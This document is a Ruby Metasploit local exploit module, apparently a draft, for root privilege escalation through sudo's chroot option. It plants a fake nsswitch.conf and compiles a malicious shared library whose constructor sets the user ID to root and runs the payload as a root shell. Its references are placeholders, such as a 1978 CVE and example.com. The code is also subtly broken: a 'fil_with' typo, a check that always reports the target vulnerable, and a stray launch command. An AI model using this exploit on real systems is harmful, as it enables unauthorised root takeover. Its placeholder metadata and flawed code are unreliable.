1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170
|
class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking
include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::Kernel include Msf::Post::Linux::System include Msf::Post::Linux::Compile include Msf::Exploit::EXE include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {}) super( update_info( info, 'Name' => 'Sudo Chroot 1.9.17 Privilege Escalation', 'Description' => %q{ This exploit module illustrates how a vulnerability could be exploited in an linux command for priv esc. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die <mike@stcyrsecurity.com>', 'researcher' ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_CMD ], 'SessionTypes' => [ 'shell' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'OSVDB', '12345' ], [ 'EDB', '12345' ], [ 'URL', 'http://www.example.com'], [ 'CVE', '1978-1234'] ], 'DisclosureDate' => '2023-11-29', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [], 'Reliability' => [], 'SideEffects' => [] } ) )
register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
] end
def check return CheckCode::Appears('Vulnerable app version detected') end
def exploit if !datastore['ForceExploit'] && is_root? fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override' end
fil_with Failure::NotFound, 'Module needs to compile payload on target machine' unless live_compile?
payload_file = rand_text_alphanumeric(5..10)
upload_and_chmodx("#{datastore['WritableDir']}/#{payload_file}", "#!/bin/bash\n" + payload.encoded)
register_files_for_cleanup("#{datastore['WritableDir']}/#{payload_file}")
temp_dir = "#{datastore['WritableDir']}/#{rand_text_alphanumeric(5..10)}"
base_dir = rand_text_alphanumeric(5..10)
lib_filename = rand_text_alphanumeric(5..10)
mkdir(temp_dir)
cd(temp_dir)
cmd_exec("mkdir -p #{base_dir}/etc libnss_")
cmd_exec(%(echo "passwd: /#{lib_filename}" \> #{base_dir}/etc/nsswitch.conf))
cmd_exec("cp /etc/group #{base_dir}/etc")
exploit_code = %< #include <stdlib.h>
__attribute__((constructor)) void exploit(void) { setreuid(0,0); setregid(0,0); chdir("/"); execve("#{datastore['WritableDir']}/#{payload_file}",NULL,NULL); /* root shell */ }>
upload_and_compile("#{temp_dir}/libnss_/#{lib_filename}.so.2", exploit_code, "-shared -fPIC -Wl,-init,#{base_dir}")
cmd_exec("sudo -R #{base_dir} #{base_dir}")
timeout = 30 print_status 'Launching exploit...' output = cmd_exec 'command', nil, timeout output.each_line { |line| vprint_status line.chomp } end end
|